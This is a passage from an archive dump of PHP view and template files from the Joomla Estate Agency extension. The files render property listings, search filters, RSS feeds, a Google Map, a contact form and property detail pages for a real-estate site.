title="<?php echo JText::_($title) ?>" />
<?php endif ?>
<?php if ($canChange): ?>
</a><?php endif ?>
</td>
<?php if ($canDelete): ?>
<td class="center">
<a href="<?php echo JRoute::_(
'index.php?option=com_jea&task=property.delete&id='.$row->id
) ?>"
title="<?php echo JText::_('JACTION_DELETE')
?>"
onclick="return confirm('<?php echo
JText::_('COM_JEA_MESSAGE_CONFIRM_DELETE') ?>')">
<img src="<?php echo
$this->baseurl.'/media/com_jea/images/media_trash.png'
?>" alt="" />
</a>
</td>
<?php endif ?>
</tr>
<?php endforeach ?>
</tbody>
</table>
<?php endif ?>
<div>
<input type="hidden" name="filter_order"
value="<?php echo $listOrder ?>" />
<input type="hidden" name="filter_order_Dir"
value="<?php echo $listDirection ?>" />
<input type="hidden" name="task"
value="" />
<input type="hidden" name="Itemid"
value="<?php echo
JFactory::getApplication()->input->getInt('Itemid', 0)
?>" />
</div>
<div class="pagination">
<p class="counter">
<?php echo $this->pagination->getPagesCounter() ?>
</p>
<?php echo $this->pagination->getPagesLinks() ?>
</div>
</form>
properties/tmpl/default_remind.php000064400000013411151165631240013413
0ustar00<?php
/**
* This file is part of Joomla Estate Agency - Joomla! extension for real
estate agency
*
* @package Joomla.Site
* @subpackage com_jea
* @copyright Copyright (C) 2008 - 2020 PHILIP Sylvain. All rights
reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
/**
*
* @var $this JeaViewProperties
*/
$states = array();
$filters = $this->get('Filters');
foreach ($filters as $name => $defaultValue)
{
$states['filter_' . $name] =
$this->state->get('filter.' . $name, $defaultValue);
}
?>
<?php if ($states['filter_transaction_type'] ==
'RENTING'): ?>
<strong><?php echo JText::_('COM_JEA_OPTION_RENTING')
?></strong>
<?php elseif ($states['filter_transaction_type'] ==
'SELLING'): ?>
<strong><?php echo JText::_('COM_JEA_OPTION_SELLING')
?></strong>
<?php endif ?>
<?php if ($states['filter_type_id'] > 0): ?>
<br />
<strong><?php echo
JText::_('COM_JEA_FIELD_PROPERTY_TYPE_LABEL') ?> :
</strong>
<?php echo
$this->getFeatureValue($states['filter_type_id'],
'types') ?>
<?php endif ?>
<?php if ($states['filter_department_id'] > 0): ?>
<br />
<strong><?php echo
JText::_('COM_JEA_FIELD_DEPARTMENT_LABEL') ?> :
</strong>
<?php echo
$this->getFeatureValue($states['filter_department_id'],
'departments') ?>
<?php endif ?>
<?php if ($states['filter_town_id'] > 0): ?>
<br />
<strong><?php echo JText::_('COM_JEA_FIELD_TOWN_LABEL')
?> : </strong>
<?php echo
$this->getFeatureValue($states['filter_town_id'],
'towns') ?>
<?php endif ?>
<?php if ($states['filter_area_id'] > 0): ?>
<br />
<strong><?php echo JText::_('COM_JEA_FIELD_AREA_LABEL')
?> : </strong>
<?php echo
$this->getFeatureValue($states['filter_area_id'],
'areas') ?>
<?php endif ?>
<?php if (!empty($states['filter_zip_codes'])): ?>
<br />
<strong><?php echo
JText::_('COM_JEA_FIELD_ZIP_CODE_LABEL') ?> : </strong>
<?php echo $this->escape($states['filter_zip_codes']) ?>
<?php endif ?>
<?php if ($states['filter_budget_min'] > 0): ?>
<br />
<strong><?php echo JText::_('COM_JEA_BUDGET_MIN') ?>
: </strong>
<?php echo JHtml::_('utility.formatPrice',
$states['filter_budget_min']) ?>
<?php endif ?>
<?php if ($states['filter_budget_max'] > 0): ?>
<br />
<strong><?php echo JText::_('COM_JEA_BUDGET_MAX') ?>
: </strong>
<?php echo JHtml::_('utility.formatPrice',
$states['filter_budget_max']) ?>
<?php endif ?>
<?php if ($states['filter_living_space_min'] > 0): ?>
<br />
<strong><?php echo JText::_('COM_JEA_LIVING_SPACE_MIN')
?> : </strong>
<?php echo JHtml::_('utility.formatSurface',
$states['filter_living_space_min']) ?>
<?php endif ?>
<?php if ($states['filter_living_space_max'] > 0): ?>
<br />
<strong><?php echo JText::_('COM_JEA_LIVING_SPACE_MAX')
?> : </strong>
<?php echo JHtml::_('utility.formatSurface',
$states['filter_living_space_max']) ?>
<?php endif ?>
<?php if ($states['filter_land_space_min'] > 0): ?>
<br />
<strong><?php echo JText::_('COM_JEA_LAND_SPACE_MIN')
?> : </strong>
<?php echo JHtml::_('utility.formatSurface',
$states['filter_land_space_min']) ?>
<?php endif ?>
<?php if ($states['filter_land_space_max'] > 0): ?>
<br />
<strong><?php echo JText::_('COM_JEA_LAND_SPACE_MAX')
?> : </strong>
<?php echo JHtml::_('utility.formatSurface',
$states['filter_land_space_max']) ?>
<?php endif ?>
<?php if ($states['filter_rooms_min'] > 0): ?>
<br />
<strong><?php echo
JText::_('COM_JEA_NUMBER_OF_ROOMS_MIN') ?> : </strong>
<?php echo $this->escape($states['filter_rooms_min']) ?>
<?php endif ?>
<?php if ($states['filter_bedrooms_min'] > 0): ?>
<br />
<strong><?php echo
JText::_('COM_JEA_NUMBER_OF_BEDROOMS_MIN') ?> :
</strong>
<?php echo $this->escape($states['filter_bedrooms_min'])
?>
<?php endif ?>
<?php if ($states['filter_bathrooms_min'] > 0): ?>
<br />
<strong><?php echo
JText::_('COM_JEA_NUMBER_OF_BATHROOMS_MIN') ?> :
</strong>
<?php echo $this->escape($states['filter_bathrooms_min'])
?>
<?php endif ?>
<?php if ($states['filter_floor'] > 0): ?>
<br />
<strong><?php echo JText::_('COM_JEA_FIELD_FLOOR_LABEL')
?> : </strong>
<?php echo $this->escape($states['filter_floor']) ?>
<?php endif ?>
<?php if ($states['filter_hotwatertype'] > 0): ?>
<br />
<strong><?php echo
JText::_('COM_JEA_FIELD_HOTWATERTYPE_LABEL') ?> :
</strong>
<?php echo
$this->getFeatureValue($states['filter_hotwatertype'],
'hotwatertypes') ?>
<?php endif ?>
<?php if ($states['filter_heatingtype'] > 0): ?>
<br />
<strong><?php echo
JText::_('COM_JEA_FIELD_HEATINGTYPE_LABEL') ?> :
</strong>
<?php echo
$this->getFeatureValue($states['filter_heatingtype'],
'heatingtypes') ?>
<?php endif ?>
<?php if ($states['filter_condition'] > 0): ?>
<br />
<strong><?php echo
JText::_('COM_JEA_FIELD_CONDITION_LABEL') ?> : </strong>
<?php echo
$this->getFeatureValue($states['filter_condition'],
'conditions') ?>
<?php endif ?>
<?php if (!empty($states['filter_orientation'])): ?>
<br />
<strong><?php echo
JText::_('COM_JEA_FIELD_ORIENTATION_LABEL') ?> :
</strong>
<?php
switch ($states['filter_orientation'])
{
case 'N':
echo JText::_('COM_JEA_OPTION_NORTH');
break;
case 'NW':
echo JText::_('COM_JEA_OPTION_NORTH_WEST');
break;
case 'NE':
echo JText::_('COM_JEA_OPTION_NORTH_EAST');
break;
case 'NS':
echo JText::_('COM_JEA_OPTION_NORTH_SOUTH');
break;
case 'W':
echo JText::_('COM_JEA_OPTION_WEST');
break;
case 'S':
echo JText::_('COM_JEA_OPTION_SOUTH');
break;
case 'SW':
echo JText::_('COM_JEA_OPTION_SOUTH_WEST');
break;
case 'SE':
echo JText::_('COM_JEA_OPTION_SOUTH_EAST');
break;
case 'E':
echo JText::_('COM_JEA_OPTION_EAST');
break;
case 'EW':
echo JText::_('COM_JEA_OPTION_EAST_WEST');
break;
}
?>
<?php endif ?>
<?php if (is_array($states['filter_amenities']) &&
!empty($states['filter_amenities'])): ?>
<br />
<strong><?php echo JText::_('COM_JEA_AMENITIES') ?> :
</strong>
<?php echo JHtml::_('amenities.bindList',
$states['filter_amenities']) ?>
<?php endif ?>
properties/tmpl/default.xml000064400000003706151165631240012074
0ustar00<?xml version="1.0" encoding="utf-8"?>
<metadata>
<layout title="COM_JEA_PROPERTIES_DEFAULT_LAYOUT_TITLE">
<message>
<![CDATA[COM_JEA_PROPERTIES_DEFAULT_LAYOUT_DESC]]>
</message>
</layout>
<fields name="params">
<fieldset name="basic"
label="COM_JEA_MENU_PARAMS_LABEL"
addfieldpath="/administrator/components/com_jea/models/fields"
>
<field
name="filter_transaction_type"
default="SELLING"
type="list"
label="COM_JEA_FIELD_TRANSACTION_TYPE_LABEL"
>
<option value="0">JALL</option>
<option
value="SELLING">COM_JEA_OPTION_SELLING</option>
<option
value="RENTING">COM_JEA_OPTION_RENTING</option>
</field>
<field
name="filter_type_id"
type="featureList"
subtype="types"
label="COM_JEA_FIELD_PROPERTY_TYPES_FILTER_LABEL"
size="5"
multiple="true"
description="COM_JEA_FIELD_PROPERTY_TYPES_FILTER_DESC"
/>
<field
name="filter_department_id"
type="featureList"
subtype="departments"
label="COM_JEA_FIELD_DEPARTMENT_LABEL"
filter="intval"
description="COM_JEA_FIELD_DEPARTMENT_FILTER_DESC"
/>
<field
name="filter_town_id"
type="featureList"
subtype="towns"
label="COM_JEA_FIELD_TOWN_LABEL"
filter="intval"
description="COM_JEA_FIELD_TOWN_FILTER_DESC"
/>
<field
name="filter_area_id"
type="featureList"
subtype="areas"
label="COM_JEA_FIELD_AREA_LABEL"
filter="intval"
description="COM_JEA_FIELD_AREA_FILTER_DESC"
/>
<field
name="show_creation_date"
type="list"
label="COM_JEA_FIELD_SHOW_CREATION_DATE_LABEL"
useglobal="true"
>
<option value="0">JHide</option>
<option value="1">JShow</option>
</field>
<field
name="show_feed_link"
type="list"
default="1"
label="JGLOBAL_SHOW_FEED_LINK_LABEL"
description="JGLOBAL_SHOW_FEED_LINK_DESC"
>
<option value="0">JNo</option>
<option value="1">JYes</option>
</field>
</fieldset>
</fields>
</metadata>
properties/view.feed.php000064400000003567151165631240011344
0ustar00<?php
/**
* This file is part of Joomla Estate Agency - Joomla! extension for real
estate agency
*
* @package Joomla.Site
* @subpackage com_jea
* @copyright Copyright (C) 2008 - 2020 PHILIP Sylvain. All rights
reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
/**
* Property list feed view.
*
* @package Joomla.Site
* @subpackage com_jea
*
* @since 2.0
*/
class JeaViewProperties extends JViewLegacy
{
/**
* Overrides parent method.
*
* @param string $tpl The name of the template file to parse.
*
* @return mixed A string if successful, otherwise an Error object.
*
* @see JViewLegacy::display()
*/
public function display($tpl = null)
{
$app = JFactory::getApplication();
$document = JFactory::getDocument();
$document->link =
JRoute::_('index.php?option=com_jea&view=properties');
JFactory::getApplication()->input->set('limit',
$app->get('feed_limit'));
$rows = $this->get('Items');
foreach ($rows as $row)
{
if (empty($row->title))
{
$title =
ucfirst(JText::sprintf('COM_JEA_PROPERTY_TYPE_IN_TOWN',
$this->escape($row->type), $this->escape($row->town)));
}
else
{
// Strip html from feed item title
$title = $this->escape($row->title);
}
$row->slug = $row->alias ? ($row->id . ':' .
$row->alias) : $row->id;
// Url link to article
$link = JRoute::_('index.php?view=properties&id=' .
$row->slug);
// Strip html from feed item description text
$description = strip_tags($row->description);
// Load individual item creator class
$item = new JFeedItem;
$item->title = html_entity_decode($title);
$item->link = $link;
$item->description = $description;
$item->date = $row->date_insert;
$item->category = $row->type_id;
// Loads item info into rss array
$document->addItem($item);
}
}
}
properties/view.html.php000064400000013410151165631240011371
0ustar00<?php
/**
* This file is part of Joomla Estate Agency - Joomla! extension for real
estate agency
*
* @package Joomla.Site
* @subpackage com_jea
* @copyright Copyright (C) 2008 - 2020 PHILIP Sylvain. All rights
reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
require_once JPATH_COMPONENT_ADMINISTRATOR .
'/tables/features.php';
/**
* Property list view.
*
* @package Joomla.Site
* @subpackage com_jea
*
* @since 2.0
*/
class JeaViewProperties extends JViewLegacy
{
/**
* The component parameters
*
* @var Joomla\Registry\Registry
*/
protected $params;
/**
* The model state
*
* @var JObject
*/
protected $state;
/**
* Array of database records
*
* @var Jobject[]
*/
protected $items;
/**
* The pagination object
*
* @var JPagination
*/
protected $pagination;
/**
* Overrides parent method.
*
* @param string $tpl The name of the template file to parse.
*
* @return mixed A string if successful, otherwise an Error object.
*
* @see JViewLegacy::display()
*/
public function display($tpl = null)
{
JHtml::stylesheet('com_jea/jea.css', array('relative'
=> true));
$state = $this->get('State');
$this->params = $state->params;
$this->state = $state;
$layout = $this->getLayout();
if ($layout == 'default' || $layout == 'manage')
{
if ($layout == 'manage')
{
$this->items = $this->get('MyItems');
}
else
{
$this->items = $this->get('Items');
}
$this->pagination = $this->get('Pagination');
}
if ($layout == 'default')
{
$this->prepareSortLinks();
// Add alternate feed link
if ($this->params->get('show_feed_link', 1) == 1)
{
$link =
'index.php?option=com_jea&view=properties&format=feed&limitstart=';
$attribs = array('type' =>
'application/rss+xml', 'title' => 'RSS
2.0');
$this->document->addHeadLink(JRoute::_($link .
'&type=rss'), 'alternate', 'rel',
$attribs);
$attribs = array('type' =>
'application/atom+xml', 'title' => 'Atom
1.0');
$this->document->addHeadLink(JRoute::_($link .
'&type=atom'), 'alternate', 'rel',
$attribs);
}
}
parent::display($tpl);
}
/**
* Prepare sort links
*
* @return void
*/
protected function prepareSortLinks()
{
$sort_links = array();
$order = $this->state->get('list.ordering');
$direction = $this->state->get('list.direction');
if ($this->params->get('sort_date'))
{
$sort_links[] = $this->sort('COM_JEA_SORT_BY_DATE',
'p.created', $direction, $order);
}
if ($this->params->get('sort_price'))
{
$sort_links[] = $this->sort('COM_JEA_SORT_BY_PRICE',
'p.price', $direction, $order);
}
if ($this->params->get('sort_livingspace'))
{
$sort_links[] = $this->sort('COM_JEA_SORT_BY_LIVING_SPACE',
'p.living_space', $direction, $order);
}
if ($this->params->get('sort_landspace'))
{
$sort_links[] = $this->sort('COM_JEA_SORT_BY_LAND_SPACE',
'p.land_space', $direction, $order);
}
if ($this->params->get('sort_hits'))
{
$sort_links[] = $this->sort('COM_JEA_SORT_BY_POPULARITY',
'p.hits', $direction, $order);
}
if ($this->params->get('sort_towns'))
{
$sort_links[] = $this->sort('COM_JEA_SORT_BY_TOWN',
'town', $direction, $order);
}
if ($this->params->get('sort_departements'))
{
$sort_links[] = $this->sort('COM_JEA_SORT_BY_DEPARTMENT',
'department', $direction, $order);
}
if ($this->params->get('sort_areas'))
{
$sort_links[] = $this->sort('COM_JEA_SORT_BY_AREA',
'area', $direction, $order);
}
$this->sort_links = $sort_links;
}
/**
* Displays a sort link
*
* @param string $title The link title
* @param string $order The order field for the column
* @param string $direction The current direction
* @param string $selected The selected ordering
*
* @return string The HTML link
*/
protected function sort($title, $order, $direction = 'asc',
$selected = 0)
{
$direction = strtolower($direction);
$images = array('sort_asc.png', 'sort_desc.png');
$index = intval($direction == 'desc');
$direction = ($direction == 'desc') ? 'asc' :
'desc';
$html = '<a href="javascript:changeOrdering(\'' .
$order . '\',\'' . $direction . '\');"
>';
$html .= JText::_($title);
if ($order == $selected)
{
$html .= '<img src="' . $this->baseurl .
'/media/com_jea/images/' . $images[$index] . '"
alt="" />';
}
$html .= '</a>';
return $html;
}
/**
* Get the first image url in the row
*
* @param object $row A property row object
*
* @return string
*/
protected function getFirstImageUrl(&$row)
{
$images = json_decode($row->images);
$image = null;
if (! empty($images) && is_array($images))
{
$image = array_shift($images);
$imagePath = JPATH_ROOT . '/images/com_jea';
if (file_exists($imagePath . '/thumb-min/' . $row->id .
'-' . $image->name))
{
// If the thumbnail already exists, display it directly
return $this->baseurl . '/images/com_jea/thumb-min/' .
$row->id . '-' . $image->name;
}
elseif (file_exists($imagePath . '/images/' . $row->id .
'/' . $image->name))
{
// If the thumbnail doesn't exist, generate it and output it on
the fly
$url =
'index.php?option=com_jea&task=thumbnail.create&size=min&id='
. $row->id . '&image=' . $image->name;
return JRoute::_($url);
}
}
return '';
}
/**
* Get a feature value
*
* @param number $featureId The feature ID
* @param string $featureTable The feature Table name
*
* @return string
*/
protected function getFeatureValue($featureId = 0, $featureTable =
'')
{
// TODO: Refactor this. Use cache?
$db = JFactory::getDbo();
$table = new FeaturesFactory('#__jea_' .
$db->escape($featureTable), 'id', $db);
$table->load((int) $featureId);
return $table->value;
}
}
properties/metadata.xml000064400000000220151165631240011240
0ustar00<?xml version="1.0" encoding="utf-8"?>
<metadata>
<view title="Properties">
<message><![CDATA[CHOOSELAYDESC]]></message>
</view>
</metadata>property/tmpl/default_googlemap.php000064400000004621151165631240013602
0ustar00<?php
/**
* This file is part of Joomla Estate Agency - Joomla! extension for real
estate agency
*
* @package Joomla.Site
* @subpackage com_jea
* @copyright Copyright (C) 2008 - 2020 PHILIP Sylvain. All rights
reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
/**
*
* @var $this JeaViewProperty
*/
JHtml::_('jquery.framework');
$langs = explode('-', $this->document->getLanguage());
$lang = $langs[0];
$region = $langs[1];
$latitude = floatval($this->row->latitude);
$longitude = floatval($this->row->longitude);
$address = str_replace(array("\n", "\r\n"), '
', addslashes($this->row->address));
$town = str_replace(array("\n", "\r\n"), ' ',
addslashes($this->row->town));
if (! empty($address) && ! empty($town))
{
$address .= ', ' . $town . ', ' . $lang;
}
elseif (! empty($address))
{
$address .= ', ' . $lang;
}
elseif (! empty($town))
{
$address = $town . ', ' . $lang;
}
elseif (! empty($this->row->department))
{
$address = addslashes($this->row->department) . ', ' .
$lang;
}
else
{
$address = $lang;
}
$this->document->addScript(
'https://maps.google.com/maps/api/js?key=' .
$this->params->get('googlemap_api_key') .
'&language=' . $lang . '&region=' .
$region
);
$script = <<<JS
jQuery(function($) {
var map = null;
var longitude = {$longitude};
var latitude = {$latitude};
function initMap(mapOptions, MarkerLatlng) {
map = new google.maps.Map($('#jea_property_map')[0],
mapOptions);
var marker = new google.maps.Marker({
position: MarkerLatlng,
map: map,
title: '{$this->escape($this->row->ref)}'
});
}
if (longitude && latitude) {
var myLatlng = new google.maps.LatLng(latitude, longitude);
var options = {
zoom : 15,
center : myLatlng,
mapTypeId : google.maps.MapTypeId.ROADMAP
};
initMap(options, myLatlng);
} else {
var geocoder = new google.maps.Geocoder();
var opts = {'address':'$address',
'language':'$lang',
'region':'$region'};
geocoder.geocode(opts, function(results, status) {
if (status == google.maps.GeocoderStatus.OK) {
var myLatlng = results[0].geometry.location;
var options = {
center : myLatlng,
mapTypeId : google.maps.MapTypeId.ROADMAP
};
initMap(options, myLatlng);
map.fitBounds(results[0].geometry.viewport);
}
});
}
});
JS;
$this->document->addScriptDeclaration($script);
?>
<div id="jea_property_map"></div>
property/tmpl/default_contactform.php000064400000004517151165631240014153
0ustar00<?php
/**
* This file is part of Joomla Estate Agency - Joomla! extension for real
estate agency
*
* @package Joomla.Site
* @subpackage com_jea
* @copyright Copyright (C) 2008 - 2020 PHILIP Sylvain. All rights
reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
/**
*
* @var $this JeaViewProperty
*/
$uri = JFactory::getURI();
?>
<form action="<?php echo
JRoute::_('index.php?option=com_jea&task=default.sendContactForm')
?>" method="post" id="jea-contact-form">
<fieldset>
<legend><?php echo
JText::_('COM_JEA_CONTACT_FORM_LEGEND') ?></legend>
<dl>
<dt>
<label for="name"><?php echo
JText::_('COM_JEA_NAME') ?> :</label>
</dt>
<dd>
<input type="text" name="name"
id="name" size="30"
value="<?php echo
$this->escape($this->state->get('contact.name'))
?>" />
</dd>
<dt>
<label for="email"><?php echo
JText::_('COM_JEA_EMAIL') ?> :</label>
</dt>
<dd>
<input type="text" name="email"
id="email" size="30"
value="<?php echo
$this->escape($this->state->get('contact.email'))
?>" />
</dd>
<dt>
<label for="telephone"><?php echo
JText::_('COM_JEA_TELEPHONE') ?> :</label>
</dt>
<dd>
<input type="text" name="telephone"
id="telephone" size="30"
value="<?php echo
$this->escape($this->state->get('contact.telephone'))
?>" />
</dd>
<dt>
<label for="subject"><?php echo
JText::_('COM_JEA_SUBJECT') ?> :</label>
</dt>
<dd>
<input type="text" name="subject"
id="subject" size="30"
value="<?php echo JText::_('COM_JEA_REF') ?> :
<?php echo $this->escape($this->row->ref) ?>" />
</dd>
<dt>
<label for="e_message"><?php echo
JText::_('COM_JEA_MESSAGE') ?> :</label>
</dt>
<dd>
<textarea name="message" id="e_message"
rows="10" cols="40"><?php echo
$this->escape($this->state->get('contact.message'))
?></textarea>
</dd>
<?php if ($this->params->get('use_captcha')):?>
<dd><?php echo $this->displayCaptcha() ?></dd>
<?php endif ?>
<dd>
<input type="hidden" name="id"
value="<?php echo $this->row->id ?>" />
<?php echo JHTML::_( 'form.token' ) ?>
<input type="hidden" name="propertyURL"
value="<?php echo base64_encode($uri->toString())?>"
/>
<input type="submit" value="<?php echo
JText::_('COM_JEA_SEND') ?>" />
</dd>
</dl>
</fieldset>
</form>
property/tmpl/default.php000064400000017132151165631240011551
0ustar00<?php
/**
* This file is part of Joomla Estate Agency - Joomla! extension for real
estate agency
*
* @package Joomla.Site
* @subpackage com_jea
* @copyright Copyright (C) 2008 - 2020 PHILIP Sylvain. All rights
reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
/**
*
* @var $this JeaViewProperty
*/
$dispatcher = JDispatcher::getInstance();
JPluginHelper::importPlugin('jea');
?>
<div class="jea-tools">
<?php if ($this->params->get('show_print_icon')): ?>
<a href="javascript:window.print()" title="<?php echo
JText::_('JGLOBAL_PRINT') ?>"
class="print-icon">
<?php echo JHtml::_('image',
'system/printButton.png', JText::_('JGLOBAL_PRINT'),
null, true) ?>
</a>
<?php endif ?>
<nav class="prev-next-navigation"><?php echo
$this->getPrevNextNavigation() ?></nav>
</div>
<h1><?php echo $this->page_title ?></h1>
<?php if ($this->params->get('show_creation_date', 0)) :
?>
<p>
<span class="date"><?php echo
JHtml::_('date', $this->row->created,
JText::_('DATE_FORMAT_LC3') ) ?></span>
</p>
<?php endif ?>
<?php if(!empty($this->row->images)) echo
$this->loadTemplate($this->params->get('images_layout',
'squeezebox')) ?>
<h2 class="clr"><?php echo
JText::_('COM_JEA_REF')?> : <?php echo
$this->escape($this->row->ref) ?></h2>
<div class="jea-col-right">
<?php if ($this->row->address || $this->row->zip_code ||
$this->row->town ): ?>
<h3><?php echo JText::_('COM_JEA_FIELD_ADDRESS_LABEL')
?> :</h3>
<address>
<?php if ($this->row->address):?>
<?php echo $this->escape($this->row->address ) ?><br
/>
<?php endif ?>
<?php if ($this->row->zip_code) echo
$this->escape($this->row->zip_code ) ?>
<?php if ($this->row->town) echo
$this->escape($this->row->town ) ?>
</address>
<?php endif ?>
<?php if ($this->row->area) :?>
<p><?php echo JText::_('COM_JEA_FIELD_AREA_LABEL')
?> :
<strong> <?php echo$this->escape( $this->row->area )
?></strong>
</p>
<?php endif ?>
<?php if (!empty($this->row->amenities)): ?>
<h3><?php echo JText::_('COM_JEA_AMENITIES')?>
:</h3>
<?php echo JHtml::_('amenities.bindList',
$this->row->amenities, 'ul') ?>
<?php endif ?>
</div>
<?php if (intval($this->row->availability)): ?>
<p class="availability">
<?php echo
JText::_('COM_JEA_FIELD_PROPERTY_AVAILABILITY_LABEL') ?> :
<?php echo JHTML::_('date', $this->row->availability,
JText::_('DATE_FORMAT_LC3') ) ?>
</p>
<?php endif ?>
<h3><?php echo
JText::_('COM_JEA_FINANCIAL_INFORMATIONS') ?> : </h3>
<table class="jea-data">
<tr>
<th><?php echo $this->row->transaction_type ==
'RENTING' ? JText::_('COM_JEA_FIELD_PRICE_RENT_LABEL')
: JText::_('COM_JEA_FIELD_PRICE_LABEL') ?></th>
<td class="right">
<?php echo JHtml::_('utility.formatPrice', (float)
$this->row->price, JText::_('COM_JEA_CONSULT_US')) ?>
<?php if ($this->row->transaction_type == 'RENTING'
&& (float) $this->row->price != 0.0): ?>
<span class="rate_frequency"><?php echo
JText::_('COM_JEA_PRICE_PER_FREQUENCY_'.
$this->row->rate_frequency) ?></span>
<?php endif ?>
</td>
</tr>
<?php if ((float)$this->row->charges > 0): ?>
<tr>
<th><?php echo JText::_('COM_JEA_FIELD_CHARGES_LABEL')
?></th>
<td class="right"><?php echo
JHtml::_('utility.formatPrice', (float)
$this->row->charges) ?></td>
</tr>
<?php endif ?>
<?php if ($this->row->transaction_type == 'RENTING'
&& (float) $this->row->deposit > 0 ): ?>
<tr>
<th><?php echo JText::_('COM_JEA_FIELD_DEPOSIT_LABEL')
?></th>
<td class="right"><?php echo
JHtml::_('utility.formatPrice', (float)
$this->row->deposit) ?></td>
</tr>
<?php endif ?>
<?php if ((float)$this->row->fees > 0): ?>
<tr>
<th><?php echo JText::_('COM_JEA_FIELD_FEES_LABEL')
?></th>
<td class="right"><?php echo
JHtml::_('utility.formatPrice', (float) $this->row->fees)
?></td>
</tr>
<?php endif ?>
</table>
<h3><?php echo JText::_('COM_JEA_DETAILS') ?> :
</h3>
<table class="jea-data">
<?php if ($this->row->condition): ?>
<tr>
<th><?php echo
JText::_('COM_JEA_FIELD_CONDITION_LABEL') ?></th>
<td><?php echo $this->escape($this->row->condition)
?></td>
</tr>
<?php endif ?>
<?php if ($this->row->living_space): ?>
<tr>
<th><?php echo JText::_(
'COM_JEA_FIELD_LIVING_SPACE_LABEL' ) ?></th>
<td><?php echo JHtml::_('utility.formatSurface',
(float) $this->row->living_space ) ?></td>
</tr>
<?php endif ?>
<?php if ($this->row->land_space): ?>
<tr>
<th><?php echo JText::_(
'COM_JEA_FIELD_LAND_SPACE_LABEL' ) ?></th>
<td><?php echo JHtml::_('utility.formatSurface',
(float) $this->row->land_space ) ?></td>
</tr>
<?php endif ?>
<?php if ($this->row->rooms): ?>
<tr>
<th><?php echo
JText::_('COM_JEA_FIELD_NUMBER_OF_ROOMS_LABEL') ?></th>
<td><?php echo $this->row->rooms ?></td>
</tr>
<?php endif ?>
<?php if ($this->row->bedrooms): ?>
<tr>
<th><?php echo
JText::_('COM_JEA_FIELD_NUMBER_OF_BEDROOMS_LABEL')
?></th>
<td><?php echo $this->row->bedrooms ?></td>
</tr>
<?php endif ?>
<?php if ($this->row->orientation != '0'): ?>
<tr>
<th><?php echo
JText::_('COM_JEA_FIELD_ORIENTATION_LABEL') ?></th>
<td>
<?php
switch ($this->row->orientation)
{
case 'N':
echo JText::_('COM_JEA_OPTION_NORTH');
break;
case 'NW':
echo JText::_('COM_JEA_OPTION_NORTH_WEST');
break;
case 'NE':
echo JText::_('COM_JEA_OPTION_NORTH_EAST');
break;
case 'NS':
echo JText::_('COM_JEA_OPTION_NORTH_SOUTH');
break;
case 'E':
echo JText::_('COM_JEA_OPTION_EAST');
break;
case 'EW':
echo JText::_('COM_JEA_OPTION_EAST_WEST');
break;
case 'W':
echo JText::_('COM_JEA_OPTION_WEST');
break;
case 'S':
echo JText::_('COM_JEA_OPTION_SOUTH');
break;
case 'SW':
echo JText::_('COM_JEA_OPTION_SOUTH_WEST');
break;
case 'SE':
echo JText::_('COM_JEA_OPTION_SOUTH_EAST');
break;
}
?>
</td>
</tr>
<?php endif ?>
<?php if ($this->row->floor): ?>
<tr>
<th><?php echo JText::_('COM_JEA_FIELD_FLOOR_LABEL')
?></th>
<td><?php echo $this->row->floor ?></td>
</tr>
<?php endif ?>
<?php if ( $this->row->floors_number ): ?>
<tr>
<th><?php echo
JText::_('COM_JEA_FIELD_FLOORS_NUMBER_LABEL') ?></th>
<td><?php echo $this->row->floors_number ?></td>
</tr>
<?php endif ?>
<?php if ( $this->row->bathrooms ): ?>
<tr>
<th><?php echo
JText::_('COM_JEA_FIELD_NUMBER_OF_BATHROOMS_LABEL')
?></th>
<td><?php echo $this->row->bathrooms ?></td>
</tr>
<?php endif ?>
<?php if ($this->row->toilets): ?>
<tr>
<th><?php echo
JText::_('COM_JEA_FIELD_NUMBER_OF_TOILETS_LABEL')
?></th>
<td><?php echo $this->row->toilets ?></td>
</tr>
<?php endif ?>
<?php if ( $this->row->heating_type_name ): ?>
<tr>
<th><?php echo
JText::_('COM_JEA_FIELD_HEATINGTYPE_LABEL') ?></th>
<td><?php echo $this->escape(
$this->row->heating_type_name) ?></td>
</tr>
<?php endif ?>
<?php if ( $this->row->hot_water_type_name ): ?>
<tr>
<th><?php echo
JText::_('COM_JEA_FIELD_HOTWATERTYPE_LABEL') ?></th>
<td><?php echo $this->escape(
$this->row->hot_water_type_name) ?></td>
</tr>
<?php endif ?>
</table>
<?php $dispatcher->trigger('onBeforeShowDescription',
array(&$this->row)) ?>
<div class="property-description clr">
<?php echo $this->row->description ?>
</div>
<?php $dispatcher->trigger('onAfterShowDescription',
array(&$this->row)) ?>
<?php if ( $this->params->get('show_googlemap') ): ?>
<h3><?php echo JText::_('COM_JEA_GEOLOCALIZATION') ?>
:</h3>
<?php echo $this->loadTemplate('googlemap') ?>
<?php endif ?>
<?php if ( $this->params->get('show_contactform') ):
?>
<?php echo $this->loadTemplate('contactform') ?>
<?php endif ?>
<p>
<a href="<?php echo
JRoute::_('index.php?option=com_jea&view=properties')?>"><?php
echo JText::_('COM_JEA_RETURN_TO_THE_LIST')?></a>
</p>
property/tmpl/default_gallery.php000064400000004563151165631240013274
0ustar00<?php
/**
* This file is part of Joomla Estate Agency - Joomla! extension for real
estate agency
*
* @package Joomla.Site
* @subpackage com_jea
* @copyright Copyright (C) 2008 - 2020 PHILIP Sylvain. All rights
reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
/**
*
* @var $this JeaViewProperty
*/
if (! is_array($this->row->images))
{
return;
}
JHtml::stylesheet('com_jea/magnific-popup.css',
array('relative' => true));
JHtml::_('jquery.framework');
JHtml::script('com_jea/jquery.magnific-popup.min.js',
array('relative' => true));
$mainImage = $this->row->images[0];
$script = <<<JS
jQuery(function($) {
$('.jea-thumbnails').on('click', function(e) {
e.preventDefault();
$('#jea-preview-img').attr('src',
$(this).attr('rel'));
$('#jea-preview-img').parent().attr('href',
$(this).attr('href'));
$('#jea-preview-title').empty().text($(this).find('img').attr('alt'));
$('#jea-preview-description').empty().text($(this).find('img').attr('title'));
});
$('.modal').magnificPopup({
